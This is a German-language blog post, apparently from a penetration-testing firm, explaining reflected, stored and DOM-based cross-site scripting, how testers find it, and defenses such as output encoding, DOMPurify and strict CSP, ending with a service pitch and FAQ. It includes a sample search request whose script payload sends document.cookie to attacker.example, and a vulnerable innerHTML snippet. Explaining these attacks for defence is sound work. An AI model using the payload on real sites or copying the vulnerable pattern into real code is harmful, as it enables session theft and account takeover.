Cross-Site Scripting (XSS) im Jahr 2026: der Web-Bug, der einfach nicht sterben will
Cross-Site Scripting gehört seit über zwanzig Jahren zu den wichtigsten Web-Schwachstellen und ist noch immer einer der häufigsten kritischen Befunde, die wir melden. So funktionieren reflektiertes, gespeichertes und DOM-basiertes XSS, so testen wir darauf, und diese Schutzmaßnahmen halten stand.

Ein Kommentarfeld auf einer Marketing-Website hat uns ein Admin-Konto beschert. Der Prüfer tippte einen Kommentar ein. Ein Administrator öffnete die Moderationswarteschlange, um ihn freizugeben. Das in diesem Kommentar versteckte JavaScript lief im Browser des Administrators, samt Cookies – kein Passwort, kein Phishing-Köder, keine eingeschleuste Malware. Das ist gespeichertes Cross-Site Scripting, und im Jahr 2026 stufen wir es bei vielen der getesteten Anwendungen noch immer als kritisch ein.
Man erklärt XSS immer wieder für tot. Frameworks maskieren Ausgaben heute standardmäßig, Browser liefern vernünftigere Voreinstellungen, Content-Security-Policy ist überall. Alles richtig. Und Cross-Site Scripting landet trotzdem weiter in unseren Reports, weil eine moderne Anwendung mehr Einfallstore bietet als je zuvor: clientseitige Templates, Single-Page-Router, JSON, das in ein Script-Tag geschrieben wird, Markdown-Renderer und die endlose Flut von “nur dieses eine Mal”-innerHTML-Aufrufen, die im Review niemand markiert hat.
Was folgt, ist die Landkarte eines praktisch arbeitenden Pentesters: wo XSS heute steckt, wie wir es finden, was es kostet, wenn es zündet, und welche Fixes tatsächlich halten.
Die wichtigsten Erkenntnisse
- Cross-Site Scripting (CWE-79) erlaubt es einem Angreifer, sein JavaScript in der Browser-Sitzung eines anderen Nutzers auszuführen, was meist Session-Diebstahl und Account-Übernahme bedeutet, nicht ein harmloses Popup.
- Drei praktische Klassen: reflektiert (Payload steckt in der Anfrage und wird direkt zurückgegeben), gespeichert (Payload wird serverseitig abgelegt und an andere Nutzer ausgeliefert) und DOM-basiert (der Sink liegt im clientseitigen JavaScript, sodass der Server es womöglich nie zu sehen bekommt).
- Der zuverlässigste Fix ist kontextbewusstes Output-Encoding an der Ausgabestelle, abgesichert durch eine strikte Content-Security-Policy als Defense in Depth. Eine bloße Input-“Sanitisierung” reicht für sich allein nicht aus.
- Automatische Scanner erkennen reflektiertes XSS recht gut, übersehen aber regelmäßig DOM-XSS und gespeichertes XSS, das einen zweiten Nutzer oder einen bestimmten Workflow braucht, um zu zünden.
- HttpOnly-Cookies bremsen den Cookie-Diebstahl, hindern XSS aber nicht daran, im Namen des Nutzers zu handeln. Das ist eine Abmilderung, kein Fix.
Was ist Cross-Site Scripting, und warum ist es weiterhin relevant?
Cross-Site Scripting ist eine Schwachstelle, bei der eine Anwendung angreiferkontrollierte Daten übernimmt und in eine Seite einfügt, ohne Daten von Code zu trennen, sodass der Browser sie als Skript ausführt. Die alte OWASP-Formulierung gilt weiterhin: Es ist das Versäumnis, nicht vertrauenswürdige Eingaben aus einem ausführbaren Kontext herauszuhalten. Sie wird als CWE-79 geführt und steht seit ihrem gesamten Bestehen in den OWASP Top 10, zuletzt eingeordnet unter der Kategorie Injection (A03).
Warum das wichtig ist, ist einfacher als die Taxonomie. Wenn dein Skript im Browser eines Opfers läuft, bist du dieser Nutzer, solange die Seite geöffnet bleibt. Du liest den DOM, feuerst authentifizierte Anfragen mit seinen Cookies ab, greifst seine Daten ab, sendest Formulare in seinem Namen und schwenkst von dort weiter. Der alert(1)-Proof-of-Concept, über den alle die Augen verdrehen, ist nur eine höfliche Art zu sagen: “Ich kann hier Code ausführen.” Die eigentliche Payload ist leise und erscheint nie auf dem Bildschirm.
Der Grund, warum XSS einfach nicht sterben will, ist das Wachstum der Angriffsfläche. Vor zehn Jahren fand die meiste Ausgabe serverseitig statt, in einer einzigen Templating-Sprache, und wenn du dort maskiert hast, warst du weitgehend auf der sicheren Seite. Heute wird eine Seite vielleicht auf dem Server gerendert, auf dem Client hydratisiert, zieht JSON aus drei APIs und übergibt Strings an eine clientseitige Template-Engine. Jede dieser Stellen ist ein eigener Ausgabekontext mit eigenen Maskierungsregeln. Dem Browser ist egal, welche Schicht den Fehler gemacht hat.
Reflektiertes, gespeichertes und DOM-XSS: Wo liegt der Unterschied?
Die drei Klassen unterscheiden sich darin, wo die Payload liegt und wie sie das Opfer erreicht. Das ändert, wie du testest und wie schwerwiegend es ist.
Reflektiertes XSS
Reflektiertes Cross-Site Scripting zündet, wenn die Anwendung etwas aus der aktuellen Anfrage nimmt – einen Query-String, ein Formularfeld, einen Header – und es direkt in die Antwort zurückschreibt. Nichts wird gespeichert. Der Angreifer muss das Opfer dazu bringen, auf einen präparierten Link zu klicken oder ein präpariertes Formular abzusenden. Eine Suchseite, die deine Anfrage zurückwirft, ist der Lehrbuchfall:
GET /search?q=<script>fetch('https://attacker.example/c?'+document.cookie)</script> HTTP/1.1
Host: acme-corp.example
Kommt der Begriff unmaskiert im HTML-Body zurück, wird er ausgeführt. Reflektiertes XSS wird als geringe Schwere abgetan, weil es einen Klick braucht. Kombiniere es mit einem glaubwürdigen Vorwand oder einem Same-Site-Redirect, und es übernimmt Accounts genauso gut.
Gespeichertes XSS
Gespeichertes Cross-Site Scripting ist das, was mich bei Kundenprojekten wachhält. Die Payload wird auf dem Server abgelegt – ein Kommentar, eine Profil-Bio, ein Support-Ticket, ein Dateiname, ein Gerätename, der in einem Admin-Dashboard landet – und an jeden ausgeliefert, der sie als Nächstes ansieht. Das Opfer klickt nichts. Es lädt einfach die Seite. Gespeichertes XSS in einem geteilten Kontext wie einem Admin-Panel oder einem Team-Feed ist praktisch wurmfähig und holt sich auf unseren Reports fast jedes Mal ein Kritisch.
Die hässlichen Fälle sind: Angreifer mit geringen Rechten, Opfer mit hohen Rechten. Du reichst die Payload als Kunde ein. Ein interner Mitarbeiter öffnet deinen Datensatz, um dir zu helfen. Jetzt läuft dein Code in einer privilegierten Sitzung. Genau das haben wir in Ticketing-Systemen, IoT-Geräteverwaltungskonsolen und CRM-Notizfeldern öfter gefunden, als ich zählen kann.
DOM-basiertes XSS
Bei DOM-XSS bleibt der gesamte verwundbare Datenfluss im clientseitigen JavaScript. Der Server kann eine makellose Antwort senden, aber ein Skript auf der Seite liest aus einer Quelle, die der Angreifer kontrolliert – location.hash, location.search, document.referrer, ein postMessage – und übergibt sie an einen gefährlichen Sink wie innerHTML, document.write, eval oder das Raw-HTML-Binding eines Frameworks. Weil die Payload womöglich nie den Server erreicht, bekommen deine Server-Logs und dein WAF sie nie zu sehen.
// Vulnerable pattern we still find in SPAs
const tab = decodeURIComponent(location.hash.slice(1));
document.querySelector('#panel').innerHTML = tab;
// Request: https://app.acme-corp.example/#<img src=x>
DOM-XSS wurde häufiger, als Anwendungen Logik auf den Client verlagerten, und es ist die Klasse, die Scanner am häufigsten übersehen. Sie zu finden bedeutet, den JavaScript-Datenfluss zu verstehen, nicht zwei Antworten zu vergleichen.
Wie testen wir auf Cross-Site Scripting?
Wir beginnen damit, jede Stelle zu kartieren, an der Nutzereingaben eine Antwort oder den DOM erreichen können, und testen dann jede einzelne in ihrem tatsächlichen Ausgabekontext. Bei XSS ist der Kontext alles. Eine Payload, die im HTML-Body zündet, tut in einem JavaScript-String oder einem HTML-Attribut nichts, und umgekehrt gilt dasselbe. Aus dem Kontext auszubrechen ist die halbe Arbeit.
Der Ablauf, konkret. Wir leiten die Anwendung über Burp Suite und gehen sie als normaler Nutzer durch, wobei wir Parameter, Header und JSON-Felder katalogisieren. Dann streuen wir durch jede Eingabe einen eindeutigen Canary, der natürlich nie vorkommt – etwas wie cxpl0it7 – und durchsuchen die rohe Antwort und den gerenderten DOM danach, wo er landet und wie er kodiert wurde:
curl -s 'https://acme-corp.example/search?q=cxpl0it7' | grep -n cxpl0it7
Wo der Canary reflektiert wird, sondieren wir genau diese Stelle: Überleben spitze Klammern, überleben Anführungszeichen, steckt er in einem <script>-Block, einem Attributwert, einer URL, einem Event-Handler? Die Antwort bestimmt die Break-out-Payload. Reflektiert es in einem doppelt in Anführungszeichen gesetzten Attribut, brauchst du "> vor deinem Tag; reflektiert es in einem bestehenden Skript-String, schließt du ein Anführungszeichen und eine Anweisung, öffnest aber kein Tag.
Bei DOM-XSS setzen wir auf den Browser. Burps DOM Invader ist wirklich gut darin, in unübersichtlichen Single-Page-Apps Quellen zu Sinks zu verfolgen, und es markiert innerHTML– und eval-Flüsse, an denen ein Scanner glatt vorbeiläuft. Wir lesen außerdem das JavaScript. Wenn eine Anwendung nicht vertrauenswürdige Daten an eine Template-Engine oder ein Raw-HTML-Binding übergibt, ist diese eine Zeile mehr wert als hundert blinde Payloads.
Automatisierte Werkzeuge verdienen sich ihren Platz durch Breite. Wir lassen nuclei-Templates und Burps aktiven Scanner laufen, um die offensichtlichen reflektierten Fälle schnell abzudecken. Aber die kritischen Befunde kommen von einem Menschen: die gespeicherte Payload, die nur in der Admin-Warteschlange zündet, der DOM-Fluss hinter einem Feature-Flag, das Mutation-XSS, das erst auslöst, nachdem der Browser vermeintlich bereinigtes HTML neu parst. Scanner modellieren weder einen zweiten Opfer-Nutzer noch einen fünfstufigen Workflow. In dieser Lücke sitzen die echten Bugs.
Eine Meinung, die ich fest vertrete: “Wir sanitisieren die Eingabe” ist keine Antwort, die ich in einem Gespräch akzeptiere. Das Sanitisieren beim Eingang bricht in dem Moment, in dem die Daten in einem Kontext landen, den der Sanitizer nie vorgesehen hat, und es ist anfällig gegen Mutation und doppelte Dekodierung. Die Frage ist, wo und wie du bei der Ausgabe kodierst.
Was kann ein Angreifer mit XSS tatsächlich anrichten?
Code im Namen des Opfers auszuführen, und das Ergebnis, das wir am häufigsten demonstrieren, ist die Account-Übernahme. Liegen Session-Tokens in einem Cookie ohne HttpOnly oder im localStorage, liest das Skript sie aus und schickt sie nach draußen. Setzt du HttpOnly, handelt das Skript trotzdem im Namen des Nutzers: Es stellt authentifizierte Same-Origin-Anfragen, ändert also die Account-E-Mail, fügt einen API-Key hinzu, deaktiviert MFA über den Settings-Endpoint oder genehmigt seine eigene ausstehende Anfrage. HttpOnly verhindert den Diebstahl des Tokens. Es verhindert nicht den Missbrauch der Sitzung.
Über einen einzelnen Account hinaus ist XSS ein Brückenkopf. Gespeichertes XSS in einer Admin-Oberfläche kann eine selbstverbreitende Payload aussäen oder still und in großem Umfang die Daten anderer Nutzer exfiltrieren. Wir haben es mit schwachen CSRF-Schutzmaßnahmen und mit serverseitigen Bugs verkettet, um von “Skript im Browser ausführen” zur vollständigen Kompromittierung der Anwendung zu gelangen. Bei nach außen gerichteten Anwendungen ist ein gutes XSS ein glaubwürdiger Initial-Access-Vektor; bei internen Anwendungen ist es schlichter Missbrauch von Zugangsdaten und Sitzungen.
XSS als “mittel, weil es einen Klick braucht” einzustufen, ist ein Fehler, den wir in vielen früheren Reports sehen. Die Schwere hängt davon ab, wer das Opfer ist und was diese Sitzung kann. Gespeichertes XSS, das einen Admin trifft, ist ein Kritisch, Punkt.
Wie verhindert man Cross-Site Scripting?
Der wichtigste Fix ist kontextbewusstes Output-Encoding, angewendet in dem Moment, in dem Daten in eine Seite geschrieben werden, durch einen Mechanismus, der den Kontext kennt. Kodiere für HTML-Body, HTML-Attribut, JavaScript, URL und CSS jeweils unterschiedlich, denn die Regeln unterscheiden sich tatsächlich. Moderne Frameworks erledigen das meiste davon für dich: React, Angular und Vue maskieren interpolierte Werte standardmäßig. Die Bugs häufen sich in den Notausgängen – dangerouslySetInnerHTML, Angulars bypassSecurityTrustHtml, v-html, jedes selbstgebaute innerHTML. Behandle jeden davon als eine Zeile, die im Review gerechtfertigt werden muss.
Musst du für ein Rich-Text-Feld oder einen Markdown-Kommentar vom Nutzer geliefertes HTML rendern? Schreib keinen eigenen Sanitizer. Nutze eine gepflegte, gut getestete Bibliothek wie DOMPurify mit einer konservativen Allowlist und führe sie so nah wie möglich am Sink aus. Eine selbstgebaute Blocklist gegen <script> ist ein verlorenes Spiel; Angreifer haben jahrzehntelange Mutations- und Kodierungstricks, und du hast einen Nachmittag.
Content-Security-Policy ist deine zweite Verteidigungslinie, und eine starke. Eine strikte, nonce-basierte CSP, die Inline-Skripte verwirft und unbekannte Skript-Ursprünge blockiert, verwandelt viele XSS-Bugs von “Account-Übernahme” in “keine Ausführung.” Sie ersetzt das Encoding nicht – eine CSP wird falsch konfiguriert, über ein per Allowlist zugelassenes CDN umgangen oder durch Injection ausgehebelt, die gar kein Skript braucht – aber eine straffe Policy hat von uns getestete Anwendungen vor sonst ausnutzbaren Schwachstellen bewahrt. Kombiniere sie mit den Cookie-Flags HttpOnly, Secure und SameSite sowie mit der Trusted Types API in Browsern, die sie unterstützen, um DOM-Sinks direkt abzuriegeln.
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-r4nd0mPerRequest';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
Das Bild der Schichten ist kurz. Kodiere bei der Ausgabe, damit der Bug gar nicht erst existiert. Sanitisiere jegliches Rich-HTML mit einer echten Bibliothek. Setze eine strikte CSP und gehärtete Cookies ein, damit der eine, den du übersiehst, den geringstmöglichen Schaden anrichtet.
Wie CyberXplore hilft
Das XSS zu finden, auf das es ankommt – die gespeicherte Payload, die nur für einen Admin zündet, der DOM-Fluss, der tief in einer Single-Page-App vergraben ist, der Mutations-Bug, der an deinem Sanitizer vorbeirutscht – erfordert einen Menschen, der jede Eingabe in ihrem echten Ausgabekontext testet und an ein zweites Opfer denkt. Das ist der Kern unseres Dienstes Penetrationstests für Webanwendungen. Wir kartieren deine gesamte Eingabefläche, testen reflektiertes, gespeichertes und DOM-basiertes Cross-Site Scripting von Hand neben dem Rest der OWASP-orientierten Checkliste, und wir belegen die Auswirkung mit einem sicheren Proof-of-Concept, damit dein Team genau sieht, was ein echter Angreifer bekäme. Jeder Befund kommt mit dem konkreten Kontext, der Payload und der Encoding- oder CSP-Änderung, die ihn schließt.
Willst du XSS und den Rest deiner Web-Angriffsfläche von Leuten testen lassen, die das jede Woche tun? Angebot anfordern, und wir stecken den Umfang gemeinsam mit dir ab.
FAQ
Ist Cross-Site Scripting im Jahr 2026 noch ein ernstes Risiko?
Ja. Auto-escaping-Frameworks haben das Aufkommen von trivialem reflektiertem XSS reduziert, aber gespeichertes und DOM-basiertes Cross-Site Scripting gehören bei modernen Web-App-Tests noch immer zu den häufigsten kritischen Befunden. Die Angriffsfläche ist zum Client und zu den Raw-HTML-Notausgängen gewandert, und genau dort finden wir es immer wieder.
Macht eine Content-Security-Policy meine Anwendung immun gegen XSS?
Nein, und sie so zu behandeln, ist ein Fehler. Eine strikte nonce-basierte CSP ist eine hervorragende Defense in Depth und neutralisiert viele Payloads, aber sie kann falsch konfiguriert, über eine per Allowlist zugelassene Skript-Quelle umgangen oder durch Injection ausgehebelt werden, die nicht auf das Ausführen von Skript angewiesen ist. Nutze CSP zusätzlich zum Output-Encoding, niemals stattdessen.
Stoppen HttpOnly-Cookies XSS?
Sie hindern das Skript daran, das Session-Cookie direkt auszulesen, was den einfachsten Token-Diebstahl blockiert. Sie hindern das Skript nicht daran, authentifizierte Anfragen im Namen des Nutzers zu stellen, sodass ein Angreifer weiterhin Account-Einstellungen ändern, API-Keys hinzufügen oder MFA über die Anwendung selbst deaktivieren kann. HttpOnly ist eine wertvolle Abmilderung, kein Fix für den zugrunde liegenden Bug.
Können automatische Scanner mein gesamtes XSS finden?
Sie finden einen Teil davon. Scanner kommen mit unkompliziertem reflektiertem XSS gut zurecht, übersehen aber regelmäßig DOM-basierte Flüsse, die das Lesen des JavaScripts erfordern, und gespeichertes XSS, das nur für einen zweiten Nutzer oder nach einem mehrstufigen Workflow zündet. Das sind die Fälle mit hoher Schwere, und sie brauchen einen menschlichen Tester, der das Opfer und den Kontext modelliert.
Was ist der Unterschied zwischen Input-Validierung und Output-Encoding bei XSS?
Input-Validierung prüft Daten beim Eintreffen und kann offensichtlich schlechte Werte zurückweisen, was hilft, aber nicht ausreicht, weil dieselben Daten in einem Kontext sicher und in einem anderen gefährlich sein können. Output-Encoding transformiert Daten in dem Moment, in dem sie in eine Seite geschrieben werden, basierend auf genau diesem Kontext, sodass sie nicht als Code gelesen werden können. Output-Encoding ist die primäre Verteidigung; Validierung ist eine unterstützende Maßnahme.
Wie oft sollten wir auf Cross-Site Scripting testen?
Teste mindestens jährlich und nach jeder wesentlichen Änderung daran, wie die Anwendung Nutzereingaben rendert – eine neue Rich-Text-Funktion, ein Framework-Upgrade, eine neue clientseitige Ansicht. Kontinuierliches Scannen fängt Regressionen in den offensichtlichen Fällen ab, aber ein manueller Web-Application-Penetrationstest in regelmäßigem Rhythmus ist das, was das gespeicherte und DOM-XSS zutage fördert, das Scanner übersehen.



